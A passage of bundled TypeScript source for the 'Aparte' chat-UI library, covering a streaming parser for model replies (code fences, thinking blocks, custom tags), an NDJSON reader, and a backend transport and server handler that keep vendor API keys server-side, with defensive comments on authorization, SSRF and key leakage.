detached above must go BACK —\n // dropping it loses the prose that preceded the block, and the caller,\n // seeing no segments at all, appends the raw delta to the bubble instead,\n // which is how a literal ```python ends up in the rendered message.\n if (firstPattern.type === 'code') {\n const res = this._startCodeBlock(buffer);\n if (!res) {\n if (segmentToEmit) this._state.activeSegment = segmentToEmit;\n return null;\n }\n return { segment: segmentToEmit, remaining: res.remaining };\n } else if (firstPattern.type === 'thinking') {\n const res = this._startThinkingBlock(buffer);\n if (!res) {\n if (segmentToEmit) this._state.activeSegment = segmentToEmit;\n return null;\n }\n return { segment: segmentToEmit, remaining: res.remaining };\n } else {\n const res = this._startBlock(buffer, blockHit!);\n if (!res) {\n if (segmentToEmit) this._state.activeSegment = segmentToEmit;\n return null;\n }\n // A self-closing tag is a block with no body, opened and closed in one\n // step. One segment per step: when text preceded it, emit the text now and\n // hold the block — already built — for the next step. The tag itself is\n // consumed here, so the grammar is never asked to build it twice.\n if (res.segment && segmentToEmit) {\n this._pendingSegment = res.segment;\n return { segment: segmentToEmit, remaining: res.remaining };\n }\n return { segment: segmentToEmit ?? res.segment, remaining: res.remaining };\n }\n }\n\n private _startCodeBlock(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n // Find the newline after ```language\n const firstNewline = buffer.indexOf('\\n');\n\n if (firstNewline === -1) {\n return null; // Wait for language line to complete\n }\n\n const firstLine = buffer.slice(0, firstNewline);\n // Remove ``` and read the language tag ; a fence with no tag → 'markdown'.\n const language = firstLine.slice(3).trim() || 'markdown';\n\n // ```markdown / ```md (and a bare ``` → markdown) = the model wrapping\n // its whole reply as a \"markdown document\". Do NOT open a code block :\n // (1) it would show raw source instead of a formatted reply ;\n // (2) the inner ```bash / ```json sub-fences make _parseCodeMode close\n // the outer block at the first one — shredding the reply into\n // fragments (one stray code block per nested fence).\n // Instead, drop the fence line and keep parsing in `text` mode : the\n // inner fenced blocks then sit at top level and parse as real code\n // segments, and the whole thing renders as one coherent markdown reply.\n if (language === 'markdown' || language === 'md') {\n return { segment: null, remaining: buffer.slice(firstNewline + 1) };\n }\n\n this._state.mode = 'code';\n this._state.codeLanguage = language;\n this._state.activeSegment = this._createCodeSegment(language, '');\n\n return { segment: null, remaining: buffer.slice(firstNewline + 1) };\n }\n\n private _parseCodeMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n // Look for closing ```\n const closeIndex = buffer.indexOf('\\n```');\n\n if (closeIndex === -1) {\n // No \"close on a bare ``` at the end of the buffer\" any more. A fence\n // closes on its own line (CommonMark), and the main rule above says so —\n // this branch relaxed it for whatever chunk happened to end in three\n // backticks, so a line like const s = \"```\" split by the tokenizer right\n // after the quotes closed the block mid-code, and the rest of the file\n // streamed as prose. A reply that really ends on ``` with no newline is\n // handled once, at `finalize()`, where the fence can be stripped safely.\n\n // No closing found, accumulate content (keep last 4 chars as potential pattern)\n if (buffer.length > 4) {\n const safeContent = buffer.slice(0, -4);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n return { segment: null, remaining: buffer.slice(-4) };\n }\n return null;\n }\n\n // Found closing\n const codeContent = buffer.slice(0, closeIndex);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += codeContent;\n }\n\n const segment = this._closed(this._state.activeSegment);\n this._state.mode = 'text';\n this._state.activeSegment = null;\n\n // Skip past \\n```\n const afterClose = buffer.slice(closeIndex + 4);\n // Also skip trailing newline if present\n const remaining = afterClose.startsWith('\\n') ? afterClose.slice(1) : afterClose;\n\n return { segment, remaining };\n }\n\n private _startThinkingBlock(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n const pair = this._thinkingDelimiters.find(p => buffer.startsWith(p.start));\n if (!pair) {\n return null;\n }\n\n this._state.mode = 'thinking';\n // Remember which pair opened so the matching close delimiter is used.\n this._state.thinkingEnd = pair.end;\n this._state.activeSegment = this._createThinkingSegment('');\n\n return { segment: null, remaining: buffer.slice(pair.start.length) };\n }\n\n private _parseThinkingMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n const endDelim = this._state.thinkingEnd ?? this._thinkingDelimiters[0]!.end;\n const closeIndex = buffer.indexOf(endDelim);\n\n if (closeIndex === -1) {\n // Check for partial match at end\n if (this._isPartialMatch(buffer, endDelim)) {\n // Keep potential match in buffer\n const partialLength = this._getPartialMatchLength(buffer, endDelim);\n const safeContent = buffer.slice(0, buffer.length - partialLength);\n if (safeContent && this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n // Whole buffer is a partial delimiter (nothing safe to emit yet):\n // return null so parse() keeps the buffer for the next chunk —\n // otherwise remaining === buffer spins parse()'s while-loop forever.\n return safeContent\n ? { segment: null, remaining: buffer.slice(-partialLength) }\n : null;\n }\n\n // No close, accumulate\n if (buffer.length > endDelim.length) {\n const safeContent = buffer.slice(0, -endDelim.length);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n return { segment: null, remaining: buffer.slice(-endDelim.length) };\n }\n return null;\n }\n\n // Found closing\n const thinkingContent = buffer.slice(0, closeIndex);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += thinkingContent;\n }\n\n const segment = this._closed(this._state.activeSegment);\n this._state.mode = 'text';\n this._state.activeSegment = null;\n this._state.thinkingEnd = undefined;\n\n return { segment, remaining: buffer.slice(closeIndex + endDelim.length) };\n }\n\n // ─── registered blocks ──────────────────────────────────────────────────\n\n /**\n * Where `<tag` opens a block in `buffer`, or -1. A hit needs the name to END\n * there: `<artifacts>` is not `<artifact>`, so the character after the name must\n * be whitespace, `/` or `>`. A `<tag` sitting at the very end of the buffer is\n * undecidable and reported as -1 — the partial-match hold in `_parseTextMode`\n * keeps it for the next chunk.\n */\n private _indexOfTag(buffer: string, tag: string): number {\n const open = '<' + tag;\n let from = 0;\n for (;;) {\n const i = buffer.indexOf(open, from);\n if (i === -1) return -1;\n const next = buffer[i + open.length];\n if (next === undefined) return -1;\n if (next === '>' || next === '/' || /\\s/.test(next)) return i;\n from = i + 1;\n }\n }\n\n /**\n * Where the opening `<tag …>` ends, or -1 while it is still incomplete.\n *\n * The first `>` is not the answer: `<note title=\"v1 -> v2\">` carries one inside\n * a quoted value, and cutting there loses every attribute AND leaks the rest of\n * the tag into the body as raw markup. A quote only OPENS after an `=`, so a\n * stray `\"` written in an attribute-less tag cannot hold the buffer open.\n *\n * A quote the model never closes must not hold it open either. `-1` means\n * \"wait\", and waiting on a value that runs to the end of the reply freezes the\n * stream: nothing is emitted until `finalize()` flushes the whole tail as raw\n * text. These tag conventions are single-line, so a newline reached inside an\n * open value says the quote was a typo — and the tag is then read the way it\n * has always been read, at its first `>`.\n */\n private _tagEnd(buffer: string, tag: string): number {\n let quote: string | null = null;\n let afterEquals = false;\n let firstGt = -1;\n for (let i = 1 + tag.length; i < buffer.length; i++) {\n const c = buffer[i]!;\n if (c === '>' && firstGt === -1) firstGt = i;\n if (quote) {\n if (c === quote) quote = null;\n else if (c === '\\n') return firstGt;\n continue;\n }\n if (c === '>') return i;\n if (c === '=') { afterEquals = true; continue; }\n if (afterEquals && (c === '\"' || c === \"'\")) { quote = c; afterEquals = false; continue; }\n if (!/\\s/.test(c)) afterEquals = false;\n }\n return -1;\n }\n\n /**\n * Open a registered block. The buffer starts with `<tag`; the whole opening tag\n * must be present (its `>`) or we wait. Attributes are read as written —\n * `a=\"x\"`, `a='x'`, `a=x` — and a self-closing `<tag …/>` is a block with no\n * body, returned closed at once.\n */\n private _startBlock(buffer: string, block: AparteStreamBlock): { segment: AparteSegment | null; remaining: string } | null {\n const tagEnd = this._tagEnd(buffer, block.tag);\n if (tagEnd === -1) return null;\n const inner = buffer.slice(1 + block.tag.length, tagEnd);\n const selfClosing = inner.trimEnd().endsWith('/');\n const attrSource = selfClosing ? inner.trimEnd().slice(0, -1) : inner;\n\n const attrs: Record<string, string> = Object.create(null);\n for (const m of attrSource.matchAll(/([A-Za-z_][\\w:-]*)\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)'|([^\\s\"'>]+))/g)) {\n attrs[m[1]!] = m[2] ?? m[3] ?? m[4] ?? '';\n }\n\n // A grammar may build a type of its own — the union is closed, the registry is\n // not, which is the documented `registerSegmentRenderer({ type: 'chart' })` case.\n const segment = block.toSegment({ attrs, id: this._options.autoGenerateIds ? this._generateId() : '' }) as unknown as AparteSegment & { content: string };\n segment.content = '';\n const remaining = buffer.slice(tagEnd + 1);\n if (selfClosing) return { segment: this._closed(segment), remaining };\n\n segment.isStreaming = true;\n this._state.mode = 'block';\n this._state.blockEnd = `</${block.tag}>`;\n this._state.activeSegment = segment;\n return { segment: null, remaining };\n }\n\n /**\n * Stream the body of the open block until its closing tag — the same\n * partial-delimiter handling the thinking mode uses, so a closing\n * tag split across two chunks is never emitted as content.\n */\n private _parseBlockMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n const endDelim = this._state.blockEnd!;\n const closeIndex = buffer.indexOf(endDelim);\n const active = this._state.activeSegment as (AparteSegment & { content: string }) | null;\n\n if (closeIndex === -1) {\n if (this._isPartialMatch(buffer, endDelim)) {\n const partialLength = this._getPartialMatchLength(buffer, endDelim);\n const safeContent = buffer.slice(0, buffer.length - partialLength);\n if (safeContent && active) active.content += safeContent;\n return safeContent\n ? { segment: null, remaining: buffer.slice(-partialLength) }\n : null;\n }\n if (buffer.length > endDelim.length) {\n const safeContent = buffer.slice(0, -endDelim.length);\n if (active) active.content += safeContent;\n return { segment: null, remaining: buffer.slice(-endDelim.length) };\n }\n return null;\n }\n\n if (active) active.content += buffer.slice(0, closeIndex);\n const segment = this._closed(this._state.activeSegment);\n this._state.mode = 'text';\n this._state.activeSegment = null;\n this._state.blockEnd = undefined;\n return { segment, remaining: buffer.slice(closeIndex + endDelim.length) };\n }\n\n private _createInitialState(): AparteParserState {\n return {\n mode: 'text',\n buffer: '',\n segments: [],\n activeSegment: null,\n segmentCounter: 0\n };\n }\n\n private _generateId(): string {\n ++this._state.segmentCounter;\n return `${this._options.idPrefix}-${uuid()}`;\n }\n\n /**\n * Mark a segment the parser has just CLOSED.\n *\n * The end of a delimited segment is not a guess: the closing token IS the end.\n * `</think>`, a closing fence, `</artifact>` — and, for a text run, the opening\n * of whatever comes next. The parser computes that moment at six sites and used\n * to drop it, emitting the finished segment with no flag saying so.\n *\n * What that cost: nothing downstream could tell a finished reasoning block from\n * one still streaming, so the only remaining signal was the END OF THE TURN. A\n * reader watched \"Thinking\" for as long as the answer took to stream — twenty\n * seconds after the model had stopped thinking — and the Markdown flush and the\n * highlight-on-settle waited exactly as long. Two workarounds were written\n * before this one: close at the end of the message (wrong value), and close when\n * the next segment opens (right value, wrong moment, and no help for a reply\n * that is reasoning and nothing else).\n *\n * Both agent loops share this parser, so saying it here says it once.\n *\n * Not every end is in band, and the exceptions are honest: a text run that ends\n * only because the STREAM ended has no delimiter — `finalize()` is its truth —\n * and a `tool_call` never passes through here at all, since its end is its\n * `status`.\n */\n private _closed<T extends AparteSegment | null>(segment: T): T {\n if (segment) (segment as AparteSegment).isStreaming = false;\n return segment;\n }\n\n private _createTextSegment(content: string): AparteTextSegment {\n return {\n id: this._options.autoGenerateIds ? this._generateId() : '',\n type: 'text',\n content: content\n };\n }\n\n private _createCodeSegment(language: string, content: string): AparteCodeSegment {\n return {\n id: this._options.autoGenerateIds ? this._generateId() : '',\n type: 'code',\n language,\n content\n };\n }\n\n private _createThinkingSegment(content: string): AparteThinkingSegment {\n return {\n id: this._options.autoGenerateIds ? this._generateId() : '',\n type: 'thinking',\n content\n };\n }\n\n private _isPartialMatch(buffer: string, pattern: string): boolean {\n for (let i = 1; i < pattern.length; i++) {\n if (buffer.endsWith(pattern.slice(0, i))) {\n return true;\n }\n }\n return false;\n }\n\n private _getPartialMatchLength(buffer: string, pattern: string): number {\n for (let i = pattern.length - 1; i >= 1; i--) {\n if (buffer.endsWith(pattern.slice(0, i))) {\n return i;\n }\n }\n return 0;\n }\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Convenience Functions\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * Parse a complete markdown string into segments\n * Use this for non-streaming scenarios\n */\nexport function parseMarkdownToSegments(\n content: string,\n options?: AparteStreamParserOptions\n): AparteSegment[] {\n const parser = new AparteStreamParser(options);\n const result = parser.parse(content);\n const finalSegments = parser.finalize();\n return [...result.segments, ...finalSegments];\n}\n","/**\n * Newline-delimited JSON, one `{ type }` object per line — the wire of both server\n * handlers (`createAparteChatHandler`, `createAparteAgentHandler`).\n *\n * One reader, so the chat transport and the agent runner split lines the same way: a\n * line cut across two chunks, a character cut across two chunks, a last line without its\n * newline. A blank line, a line that is not JSON, and an object without a string `type`\n * are skipped — a proxy's keep-alive or a truncated write must not end the stream.\n */\nexport async function* readNdjson<T extends { type: string }>(\n stream: ReadableStream<Uint8Array>,\n signal?: AbortSignal,\n): AsyncGenerator<T> {\n const reader = stream.getReader();\n const decoder = new TextDecoder();\n let buffer = '';\n const parse = (line: string): T | undefined => {\n const trimmed = line.trim();\n if (!trimmed) return undefined;\n try {\n const value = JSON.parse(trimmed) as T;\n return value && typeof value.type === 'string' ? value : undefined;\n } catch {\n return undefined;\n }\n };\n try {\n while (!signal?.aborted) {\n const { done, value } = await reader.read();\n if (done) break;\n buffer += decoder.decode(value, { stream: true });\n const lines = buffer.split('\\n');\n buffer = lines.pop() ?? '';\n for (const line of lines) {\n if (signal?.aborted) return;\n const event = parse(line);\n if (event) yield event;\n }\n }\n if (signal?.aborted) return;\n const last = parse(buffer + decoder.decode());\n if (last) yield last;\n } finally {\n reader.releaseLock();\n }\n}\n","/**\n * Aparte event stream parser — the wire format for the backend path.\n *\n * A backend that keeps the API key server-side runs the vendor's own parser\n * server-side and streams back **already-normalized `AparteStreamEvent`s, one JSON\n * object per line (NDJSON)**. This parser turns that NDJSON byte stream back\n * into a `ReadableStream<AparteStreamEvent>`, so the client stays fully\n * vendor-agnostic on the backend path (it never needs the vendor-specific\n * `parseStream`). See `transport/backend-transport.ts`.\n */\n\nimport type { AparteStreamEvent } from '../types/index.js';\nimport { readNdjson } from '../utils/ndjson.js';\n\nexport function parseAparteEventStream(\n stream: ReadableStream<Uint8Array>,\n): ReadableStream<AparteStreamEvent> {\n return new ReadableStream<AparteStreamEvent>({\n async start(controller) {\n let sawDone = false;\n try {\n for await (const event of readNdjson<AparteStreamEvent>(stream)) {\n controller.enqueue(event);\n if (event.type === 'done') sawDone = true;\n }\n // A server that closed without its `done` line still ended the reply.\n if (!sawDone) controller.enqueue({ type: 'done' });\n } catch (err) {\n controller.enqueue({ type: 'error', message: (err as Error)?.message ?? 'Stream error' });\n } finally {\n controller.close();\n }\n },\n });\n}\n","import type { AparteChatRequest, AparteChatResponse } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport type { AparteTransport, AparteTransportContext } from './types.js';\nimport { vendorError } from './types.js';\nimport { parseAparteEventStream } from '../parsers/index.js';\n\nexport interface BackendTransportOptions {\n /** Your backend chat endpoint, e.g. `/api/chat`. */\n endpoint: string;\n /**\n * Extra headers to send with each request. A session cookie rides along\n * automatically only for a SAME-ORIGIN `endpoint` — the request uses fetch's\n * default `credentials: 'same-origin'`, so a cross-origin endpoint sends no\n * cookie; authenticate it with a header here instead.\n */\n headers?: Record<string, string>;\n /**\n * Override how the request is serialised to your backend. Default body is\n * `{ providerId, request }`. Return any JSON-serialisable value.\n */\n buildBody?: (request: AparteChatRequest, providerId: string) => unknown;\n}\n\n/**\n * Backend-proxied transport — RECOMMENDED for production.\n *\n * POSTs `{ providerId, request }` to YOUR endpoint. The backend resolves the API\n * key server-side, calls the vendor, runs the vendor parser **server-side**, and\n * streams back already-normalized `AparteStreamEvent`s as NDJSON (one JSON object\n * per line). The key never reaches the browser and — unlike a raw proxy — the\n * client stays fully vendor-agnostic (it never runs the vendor's `parseStream`,\n * so switching the server-side provider needs no client change). Non-streaming\n * requests get a JSON `{ text }` reply.\n *\n * This is NOT the Vercel AI SDK Data Stream Protocol; the wire format is a plain\n * NDJSON of `AparteStreamEvent` (see `parseAparteEventStream`).\n *\n * The matching `/api/chat` handler ships as a real, framework-free function —\n * {@link createAparteChatHandler} (Web `fetch` API, same `@aparte/*` adapters run\n * server-side, key held server-side). Drop it into a Next.js route handler,\n * Deno, Bun, or a Worker rather than hand-rolling one.\n *\n * The page still registers a provider under each id the route knows: the client\n * reads a model's capabilities from it and refuses to send to an id it does not\n * have. Nothing of that provider runs in the page — no request is built from it and\n * its `chat()` is never called — so the keyless adapter is enough, or, for an id no\n * client package exists for, a stub:\n *\n * @example\n * aparteGlobalConfig.registerAIProvider({\n * id: 'internal',\n * getMetadata: () => ({ id: 'internal', name: 'Internal' }),\n * getModels: () => [{ id: 'house-model', name: 'House model', capabilities: ['streaming', 'function_calling'] }],\n * chat: () => { throw new Error('runs on the server'); },\n * });\n */\nexport class AparteBackendTransport implements AparteTransport {\n constructor(private readonly options: BackendTransportOptions) {}\n\n async chat(\n _provider: AparteAIProvider,\n request: AparteChatRequest,\n _auth: string | Record<string, string> | undefined,\n ctx: AparteTransportContext,\n ): Promise<AparteChatResponse> {\n // The backend owns the vendor mapping + key, so no client-side format\n // adapter is required — only the providerId, so it knows which vendor to call.\n const body = this.options.buildBody\n ? this.options.buildBody(request, ctx.providerId)\n : { providerId: ctx.providerId, request };\n\n const response = await fetch(this.options.endpoint, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json', ...this.options.headers },\n body: JSON.stringify(body),\n signal: ctx.signal,\n });\n\n if (!response.ok) {\n throw await vendorError(response, 'Backend HTTP');\n }\n\n if (request.stream === false) {\n const json = await response.json();\n const text = (json as { text?: unknown })?.text;\n return typeof text === 'string' ? text : (typeof json === 'string' ? json : JSON.stringify(json));\n }\n if (!response.body) {\n throw new Error('Backend returned no response body for a streaming request.');\n }\n return parseAparteEventStream(response.body);\n }\n}\n","import type { AparteChatRequest } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport { isFormatAdapter } from './types.js';\n\nexport interface AparteChatHandlerOptions {\n /**\n * Your server-side format adapters, keyed by the `providerId` the client\n * sends. The same adapters as the browser (`@aparte/provider-*`), running here\n * so the vendor key never leaves the server.\n */\n providers: Record<string, AparteAIProvider>;\n /**\n * Gate run on EVERY request before any work. **Required.**\n *\n * This endpoint spends your server-held vendor key, so leaving it open means\n * anyone who finds the URL spends your money. Requiring it turns forgetting it\n * into a compile error.\n *\n * Return `false` to reject with 401, a `Response` to reject with your own\n * status/body (e.g. 403 + a message), or `true` to proceed. Reads\n * cookies/headers via `req`.\n *\n * A deliberately open endpoint is still possible — `authorize: () => true` —\n * but then it is a line someone wrote on purpose.\n */\n authorize: (req: Request) => boolean | Response | Promise<boolean | Response>;\n /**\n * Resolve the vendor API key for a providerId — from env / a secret store.\n * Runs server-side only. Return `undefined` for keyless/local providers.\n */\n resolveKey?: (providerId: string) => string | undefined | Promise<string | undefined>;\n /**\n * The `fetch` that calls the vendor. Defaults to the global `fetch`\n * (Node 18+, Deno, Bun, Workers). Override in tests or to add a proxy.\n */\n fetchImpl?: typeof fetch;\n}\n\n/**\n * Build a framework-free `/api/chat` handler for {@link AparteBackendTransport} — the\n * server counterpart that keeps the key off the client.\n *\n * The returned handler speaks the Web `fetch` API (`Request` → `Response`), so\n * it drops into a Next.js route handler, Deno, Bun, or a Cloudflare Worker\n * unchanged. It reads `{ providerId, request }`, runs the matching format\n * adapter **server-side** (buildRequest → auth → vendor fetch → parseStream),\n * and streams back normalized `AparteStreamEvent`s as NDJSON — the exact wire\n * format `AparteBackendTransport` expects. The vendor key is injected here and never\n * travels to the browser.\n *\n * ```ts\n * // app/api/chat/route.ts (Next.js)\n * import { createAparteChatHandler } from '@aparte/core';\n * import { createOpenAICompatProvider, presets } from '@aparte/provider-openai-compat';\n * export const POST = createAparteChatHandler({\n * providers: { openai: createOpenAICompatProvider(presets.OPENAI) },\n * resolveKey: (id) => process.env[`${id.toUpperCase()}_KEY`],\n * // Required: this route spends your key. Your own session check goes here.\n * authorize: async (req) => Boolean(await getSession(req)),\n * });\n * ```\n */\nexport function createAparteChatHandler(\n options: AparteChatHandlerOptions,\n): (req: Request) => Promise<Response> {\n const doFetch = options.fetchImpl ?? fetch;\n\n return async function handler(req: Request): Promise<Response> {\n // Auth gate first: this route spends the server-held key, so reject\n // unauthorized callers before parsing or doing any work. Required by the\n // type — there is no path through here without a verdict.\n const verdict = await options.authorize(req);\n if (verdict instanceof Response) return verdict;\n if (!verdict) return jsonError(401, 'Unauthorized.');\n\n let providerId: string;\n let request: AparteChatRequest;\n try {\n const parsed = (await req.json()) as { providerId?: unknown; request?: unknown };\n if (typeof parsed?.providerId !== 'string' || !parsed?.request || typeof parsed.request !== 'object') {\n return jsonError(400, 'Body must be { providerId: string, request: AparteChatRequest }.');\n }\n providerId = parsed.providerId;\n request = parsed.request as AparteChatRequest;\n } catch {\n return jsonError(400, 'Invalid JSON body.');\n }\n\n // The providerId is client-supplied, so index only OWN keys: on a plain\n // object literal `providers[\"__proto__\"]` / `[\"constructor\"]` resolve to a\n // truthy inherited value, which skipped this 400 and answered 500 instead.\n const adapter = Object.hasOwn(options.providers, providerId)\n ? options.providers[providerId]\n : undefined;\n if (!adapter) {\n return jsonError(400, `Unknown providerId \"${providerId}\". Register it in the handler's providers map.`);\n }\n if (!isFormatAdapter(adapter)) {\n return jsonError(500, `Provider \"${providerId}\" is not a format adapter (needs buildRequest + parseStream).`);\n }\n\n const built = adapter.buildRequest(request);\n // Guard against an adapter returning a non-rooted path that could redirect\n // this server-key'd call to another origin (SSRF): require a single-rooted\n // path — never protocol-relative (`//host`) nor an absolute URL.\n if (!built.path.startsWith('/') || built.path.startsWith('//')) {\n return jsonError(500, `Provider \"${providerId}\" produced a non-rooted request path.`);\n }\n const key = await options.resolveKey?.(providerId);\n\n let url = `${adapter.defaultEndpoint}${built.path}`;\n const headers: Record<string, string> = { 'Content-Type': 'application/json', ...built.headers };\n if (key && adapter.authHeaders) Object.assign(headers, adapter.authHeaders(key));\n if (key && adapter.authQuery) {\n const qs = new URLSearchParams(adapter.authQuery(key)).toString();\n url += (url.includes('?') ? '&' : '?') + qs;\n }\n\n let vendor: Response;\n try {\n vendor = await doFetch(url, {\n method: 'POST',\n headers,\n body: JSON.stringify(built.body),\n signal: req.signal, // a client disconnect aborts the vendor call too\n });\n } catch (err) {\n // Same rule as the !vendor.ok block below: the vendor's prose is for\n // the server's logs, never the client's. `authQuery` (Gemini's `?key=`)\n // puts the key in `url`, and a custom `fetchImpl` names the URL in its\n // error text (node-fetch: `request to ${url} failed, reason: ...`).\n console.error('[aparte] vendor request failed', err);\n return jsonError(502, 'Vendor request failed.');\n }\n\n // A vendor error is SUMMARISED, not relayed byte-for-byte.\n //\n // The verbatim body leaked material a caller has no business seeing: an\n // OpenAI 401 reads `Incorrect API key provided: sk-proj-****abcd`, which\n // hands over the key's prefix, tail and format; other vendors echo org ids\n // and request fragments. Status and machine-readable code/type are enough\n // for a client to react; the vendor's prose is for the server's logs.\n if (!vendor.ok) {\n const raw = await vendor.text().catch(() => '');\n let code: unknown;\n let type: unknown;\n try {\n const parsed = JSON.parse(raw) as { error?: { code?: unknown; type?: unknown } };\n code = parsed?.error?.code;\n type = parsed?.error?.type;\n } catch { /* not JSON — nothing to salvage, and nothing to leak */ }\n return new Response(\n JSON.stringify({\n error: {\n message: `Vendor request failed (HTTP ${vendor.status}).`,\n ...(typeof code === 'string' ? { code } : {}),\n ...(typeof type === 'string' ? { type } : {}),\n },\n }),\n { status: vendor.status, headers: { 'Content-Type': 'application/json' } },\n );\n }\n\n // Non-streaming: resolve to { text } server-side.\n if (request.stream === false) {\n const json = await vendor.json().catch(() => ({}));\n const text = typeof adapter.parseText === 'function' ? adapter.parseText(json) : '';\n return new Response(JSON.stringify({ text }), {\n headers: { 'Content-Type': 'application/json' },\n });\n }\n\n if (!vendor.body) {\n return jsonError(502, 'Vendor returned no response body for a streaming request.');\n }\n\n // Normalize the vendor stream to AparteStreamEvents server-side, re-emit as\n // NDJSON (one JSON object per line) — what parseAparteEventStream reads.\n const events = adapter.parseStream(vendor.body).getReader();\n const encoder = new TextEncoder();\n const ndjson = new ReadableStream<Uint8Array>({\n async pull(controller) {\n try {\n const { done, value } = await events.read();\n if (done) {\n controller.close();\n return;\n }\n controller.enqueue(encoder.encode(JSON.stringify(value) + '\\n'));\n } catch (err) {\n controller.error(err);\n }\n },\n cancel(reason) {\n void events.cancel(reason);\n },\n });\n\n return new Response(ndjson, { headers: { 'Content-Type': 'application/x-ndjson' } });\n };\n}\n\nfunction jsonError(status: number, message: string): Response {\n return new Response(JSON.stringify({ error: { message } }), {\n status,\n headers: { 'Content-Type': 'application/json' },\n });\n}\n","/**\n * What a segment knows about itself — stamped in one place.\n *\n * A segment carries an identity (`messageId`, `index`) and a measurement\n * (`startedAt`, `endedAt`), so a custom renderer, which receives only the segment, can\n * learn its message and its duration.\n *\n * **Why the stamp lives here and not in `AparteStreamParser`.** `tool_call` segments\n * are built by the stream adapter and `prefixSegments` by the app itself: stamping in\n * the parser would leave\n * a TOOL CALL — the single most useful duration in the whole transcript — with no\n * measurement at all. The parser's own `segmentCounter` would also produce a wrong\n * index: it is recreated on every `turn-start`, while a tool round-trip appends to the\n * SAME message across turns, so one message would hold two segments at index 0.\n *\n * A segment can only reach a transcript one way — through `addSegment` — and there\n * are exactly two owners of the array behind it: `aparte-chat-viewport` (native) and\n * `aparte-chat-host` (framework-managed). Both call these functions; nothing else\n * writes those fields. `pnpm check:segment-stamp` keeps it that way, because two\n * owners is exactly the shape of the forgotten-sibling bug this repo keeps finding.\n *\n * Everything here is pure and DOM-free, so a consumer can test their own wiring in\n * Node — the introspectability half of the reachability rule.\n */\nimport type { AparteSegmentDefaults, AparteSegmentTiming, AparteSegment } from '../types/index.js';\n\n/**\n * Tool-call statuses that mean \"still open\".\n *\n * A tool call is the one segment type whose completion is not spelled by\n * `isStreaming`: the client flips its `status`, never the streaming flag. Reading\n * `isStreaming` there would measure nothing.\n */\nconst OPEN_TOOL_STATUSES: ReadonlySet<string> = new Set(['pending', 'awaiting-approval']);\n\n/**\n * Update keys that mean \"content arrived\", as opposed to \"how it is displayed\".\n *\n * The stream adapter collapses a reasoning block the moment answer text starts\n * (`updateSegment(thinkingId, { collapsed: true })`). Counting that as activity would\n * put a reasoning block's end at the start of the ANSWER rather than at its own last\n * token. Collapsing, inlining and writing `meta` are decisions about presentation;\n * they are not the segment doing anything.\n */\nconst ACTIVITY_KEYS: readonly string[] = ['content', 'output', 'result'];\n\n/** Does this update carry payload, rather than presentation? */\nfunction isActivity(updates: Partial<AparteSegment>): boolean {\n return ACTIVITY_KEYS.some((key) => key in updates);\n}\n\n/**\n * Stamp identity and start time on a segment joining `segments` at the tail.\n *\n * Returns a new object; the caller's segment is never mutated — the viewport hands\n * the same segment object to the repository AND to the bubble, so mutating one is\n * action at a distance.\n *\n * A value already present is never overwritten, so a segment rehydrated from a\n * consumer's storage keeps the numbers it was persisted with.\n */\nexport function stampSegmentOnInsert(\n segments: readonly AparteSegment[],\n segment: AparteSegment,\n messageId: string,\n defaults?: AparteSegmentDefaults,\n): AparteSegment {\n const base = applyDefaults(segment, defaults);\n return {\n ...base,\n messageId: segment.messageId ?? messageId,\n index: segment.index ?? segments.length,\n // A start already present is kept — a segment a consumer rebuilt from their own\n // storage keeps the number it was persisted with. `adoptSegment` is the path\n // that never writes one at all.\n ...timingPatch(base, { startedAt: segmentTiming(segment)?.startedAt ?? Date.now() }),\n } as AparteSegment;\n}\n\n/**\n * A segment arriving from STORAGE or a server, rather than starting now.\n *\n * The counterpart of {@link stampSegmentOnInsert}: the two are not the same act, and\n * treating them as one would invent history — a conversation from three weeks ago\n * would claim each of its segments had started this second. Every load path goes\n * through this one, so the same stored conversation produces the same numbers\n * whatever the mode and whether a branch tree was saved.\n *\n * What it writes, and why each:\n *\n * - `messageId` and `index` are **recomputed**, not preserved. They are derivable\n * facts about the array this segment is joining, so a stored value can only\n * contradict it — and no protocol persists either (Anthropic's block `index` exists\n * only in the streaming envelope, as a position).\n * - **no time, ever.** A measurement nobody took is absent, not zero and not now.\n * `segmentDuration` already answers `undefined` for that, so a consumer reading\n * through the helper degrades correctly.\n * - `isStreaming: false`, unconditionally. A persisted stream is dead: restoring one\n * with `isStreaming: true` would render a caret forever, and — through\n * `openSegmentIds`, which reads exactly this flag — would have the next turn-close\n * stamp it a brand-new `endedAt`.\n * - a `tool_call` persisted as `awaiting-approval` — or `pending` in a message that is\n * not in flight, a call saved while it ran, which a server loop's cut connection\n * leaves behind — becomes `'aborted'`, for the same\n * reason and through a hole the line above cannot reach: `isSegmentSettled` reads\n * STATUS for a tool call, not `isStreaming`, so a restored gate would stay OPEN. The\n * loop that awaited the decision is gone and the promise it would have settled went\n * with the page, so the request is unanswerable — and `'aborted'` rather than\n * `'rejected'` because nobody refused anything. Consumers need not normalise those\n * statuses on save. The exception is a\n * call that carries a continuation ticket (`deferred.ticket`): a server loop paused\n * on it, nothing in the page was awaiting it, and it can still be answered\n * (`AparteClient.resumeDeferred`).\n */\nexport function adoptSegment(\n segments: readonly AparteSegment[],\n segment: AparteSegment,\n messageId: string,\n /** The message arrives in flight (`streaming`/`pending`): its running calls are live. */\n live = false,\n): AparteSegment {\n return {\n ...segment,\n messageId,\n index: segments.length,\n isStreaming: false,\n ...(segment.type === 'tool_call'\n && (segment.status === 'awaiting-approval' || (segment.status === 